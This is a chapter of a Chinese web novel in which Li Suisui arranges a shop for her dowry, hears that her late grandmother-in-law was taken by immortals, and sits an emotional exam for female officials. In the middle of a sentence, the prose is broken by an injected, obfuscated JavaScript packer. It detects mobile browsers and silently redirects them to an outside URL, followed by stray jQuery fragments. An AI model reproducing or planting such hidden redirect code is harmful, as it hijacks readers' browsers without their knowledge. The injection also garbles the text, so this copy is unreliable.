虽然说现在和许颂晏已经有了夫妻的名义,但是只要不正式游城,京中的人就不会知道这件事。她明面上就还是李家的女儿,萧氏似乎知道她会来找自己,已经备好了茶水。
“岁儿,不管你在哪。都是我们李家的姑娘。”萧氏以为她是担心李家的态度,还不等她坐下就出声保证。
李穗岁摇摇头:“祖母,岁岁今天不是为了这件事来的。”
她想先开个铺子,给自己铺路。近日一向以京都簪面之首为名的良缘堂忽然宣布不开了,李穗岁的小姨便做主用姐姐这些年给的钱买了下来,打算给李穗岁作为嫁妆。
李穗岁这几日不方便出门,毕竟要给许老夫人隔空守灵。因此特来求助自己的祖母,想让她去李穗岁的外祖家。
李穗岁的外祖家是兖州世家杨氏,因为外祖父做官被调到京城,因此就在京城落脚了。由于杨氏唯一的哥哥在战场上牺牲了,所以李穗岁的小姨杨知樰做守灶女,找了一个上门的夫婿。
“岁岁可以回去的。”萧氏很想纠正她,她却摇摇头:“我想,颂晏他应该也不会出门的。”
许颂晏对于自己祖母的感情,就和她与萧氏的感情一样。如果萧氏去世,许颂晏在外面留恋游玩的话,她也会不舒服。
以己度人,她也不想让许颂晏觉得不舒服。
萧氏见她坚持,只好收拾了一下,准备带着李穗岁准备的亲笔信上门拜访她外祖一家。
杨知樰得知萧氏过来的目的之后也很爽快,非常快速地让自己的夫君去给她们拿地契和房契。齐氏很认真地点点头,还顺带拿了两千两的银票过来。
看到银票的萧氏连忙拒绝,毕竟她只是受人之托,并不是上门打秋风的。
齐氏却强硬地塞了过去:“岁岁的越婚之礼,我们都不知道。就当是给岁岁的补偿。”
“也是没办法。”萧氏叹了口气,许老夫人的病实在是拖不得。两家人这才出此下策,若是许老夫人的身体硬朗,怎么也能看见李穗岁和许颂晏的婚礼。
杨知樰和齐氏也很无奈,他们一开始的时候也很生气,觉得李家和许家出的都是些馊主意。可是就在杨知樰准备上李家问情况的时候,她的父亲却拦住了她。原是因为李家也没法子,若是今日萧氏或者自己病倒了,要求她们行越婚之礼,只怕许家也是会答应的。
“这件事情说到底就是皇帝做的不对,可偏偏我们也不能说皇帝不好。”杨知樰轻声说到,她手边的茶盏已经有些微凉了。
她轻微的皱起眉,齐氏连忙去旁边的花厅看在丫鬟们是不是在偷懒。
萧氏也很无奈的点点头,这几年她倒是越发看不懂皇帝到底想要做什么了。说他蠢,他又能把一个国家治理的还不错,说他好却总是做出这种令人匪夷所思的举动。
作为从小就陪他长大的人之一,她自然也发现了面前这个人一些不对的地方,只是却又说不上来哪里违和。
毕竟这个人不管样貌习惯还是惯用手都是一样的。如今皇帝年纪也大了,她自然不可能像以前那样把皇帝的衣裳扒开,看这个人身上是否有胎记。
萧氏又和杨知樰聊了些许其他的话题,这才起身告辞,拿着东西走了。
“祖母!”李穗岁在门口等着,看到了马车的时候忍不住朝着对方招了招手。
萧氏看到她那个样子,有些许惊讶。早上这个人还萎靡不振的,这个时候怎么开始蹦蹦跳跳的了?
她疑惑的模样看的李穗岁有些迷茫,萧氏不禁问了一句:“你现在怎么这么开心,不怕被有心人看去?”
李穗岁连忙挽住萧氏的手:“许老夫人有机缘,颂晏和我说,祖母被明和堂接走了。”
明和堂?怪不得李穗岁这么开心,萧氏点点头,这明和堂的人都会点法术,但是已经很久没有出现在这里过了。
因此她也担心许家的人被骗,还不等她问出声,李穗岁就解释了一句:“据说是仙人历劫要积善行德,就把许老夫人的尸身带走了。但却要求他们把许老夫人的贴身玉佩埋在桃花树下,说三年之后许老夫人会回来一趟。”
许家的人本就舍不得许老夫人,更何况是明和堂的人。自然忙着把人送了过去,但是对外却没有声张起,只说自家要守灵,过年就不走亲访友了。
而李穗岁自己也有点想法,她想当女官,自然少不了要打点人。
但是光母亲留下来的那些铺子,要给三个孩子准备嫁妆和聘礼,还要给远在京外的母亲寄过去一部分。
就她手里那些东西,只怕也打点不了几个人。可是她又不打算从公中支钱,毕竟要还回去。她手里的那点月例,只怕养不活要打点的人。
时间过得十分快,也就是看个书和设计铺子的时间。三个月就转瞬即逝了,李穗岁要真是准备考核了。
明日考核,她还有些许紧张。毕竟并不知道对方会出什么样的题目,即便她做好了准备,但还是有一些担心自己会忘记。
只是她没想到的是家里的人比她还紧张,尤其是萧氏。
到皇宫下马车之前,她一直紧紧握住李穗岁的手,一边抽查她背的东西,一边嘱咐她。
她点点头,下了马车。
上辈子的事情她都有些许记不清了,以至于她踩在皇宫的地砖上时,她竟然有一种迷茫感。
“年年岁岁花相似,岁岁年年人不同。”李穗岁轻叹了一口气。
人不能永远困在上辈子的事情里面无法自拔,但是她也绝对不会放过上辈子的那些人。
这次考核的卷面题目并不算难,但可能因为她考的是大理寺卿的助手。
因此题目里面除了律法,要重点关注百姓们的生平。看到那些多式多样的案例,她忽然有些惊讶。
上辈子的她们始终都在为了权力相互争夺,相互压制。
根本就不会有人去关注,这些投案无门的百姓们又受到了哪些委屈和崩溃。
李穗岁提笔写了许多,在最后一栏策论上,她却有些手足无措。
最终她还是决定写下来:“愿律法只护着人,而非护着‘人’。”
下了考
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940668|177341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
场的李穗岁还有点紧张,她只感觉自己今天还是太莽撞了一些。但是那些案件都血淋淋的,她实在是很难沉默下去。上辈子她只想着只要拥有权力就行,其他都可以无所谓。
可是和伯父讨论过很多次案件之后,她忽然觉得不是这样的。大梁不能从根里烂下去,也不能把这些问题当做看不见。
萧氏还没走,车上的汤婆子已经有些冰凉了。因此,她特地带着云淑去了一趟附近的茶楼,又添了些碳,将汤婆子烧热。
“祖母。”李穗岁出来的时候,萧氏正好回来了。她轻咬朱唇,整张脸上都写满了紧张和无助。萧氏并没有问她怎么样,只是先拉她上来,将刚才烧好的汤婆子递给她。
近乎灼热的温度从手心传来,她低头看着上面惊喜的刺绣,眼泪忽然滴落在刺绣之上,晕染出了一片阴影。
萧氏欲言又止,最终还是给她递了一方手帕。装作若无其事,用一种轻快的口吻问了一句:“岁岁觉得如何?”
“大多都是背过的律条,只是案例。”李穗岁终究还是忍不住,大哭了起来。
背过的律法看上去十分的温和,可实际上却对于案例中的人们不近人情。她心里有一角好像倒塌了,黑雾逐渐迷住了人的双眼,令人看不清前路。
萧氏很沉默的摸摸她的脑袋,她不知道如何安慰这个孩子。甚至还有些难受,毕竟这个孩子是自己带大的。毫不夸张的说,她世界里的光明,都是自己亲手种下的。
可是大梁,怎么可能处处都有光明呢?
李穗岁到府中的时候,眼泪已经干涸了很多。整个人失魂落魄得往前走,云淑站在萧氏身边:“二姑娘真的没事吗?”
“她不会有事的。”萧氏摇摇头,李穗岁有多坚强,大概是所有李府的人都不清楚。
她现在更想知道,岁岁能不能顺利成为女官。
由于女官发展到现在不过六十多年,很多制度都还没有完善。男子入朝为官有多重考核,但是女子没有。并且因为女子入朝为官的特殊性,女子没有殿试。
所有的成绩都是直接按照考核官员通过该项单独考核的分数计算得出上中下三品,上品入朝,中品入宫,下品出京入县。
这次女官考核的人,正巧与萧氏有些关系。也是之前李穗岁的祖父的一个门生,得知萧氏从后门来拜访的时候,他也有些惊讶。
“师娘,您怎么亲自过来了?”他连忙招呼人倒水,萧氏取下斗篷,有些不好意思的看着他:“我来问问何时放榜。”
“后日。”那人大概也懂了什么:“师娘是担心二姑娘上榜与否?”
“嗯。岁岁考的律法,感觉应该不是很简单。”萧氏抿了口茶:“我也不是要你们开后门,我只想让你们和我说一下具体时间。”
那人松了口气,不是要他们把二姑娘的卷子换品阶就是。毕竟二姑娘的字迹他们也不清楚,名字又被糊起来了。如果真的大着胆子做这种事情的话,只怕要把自己家里人也搭进去了。
萧氏起身告辞,那人连忙送她上了马车。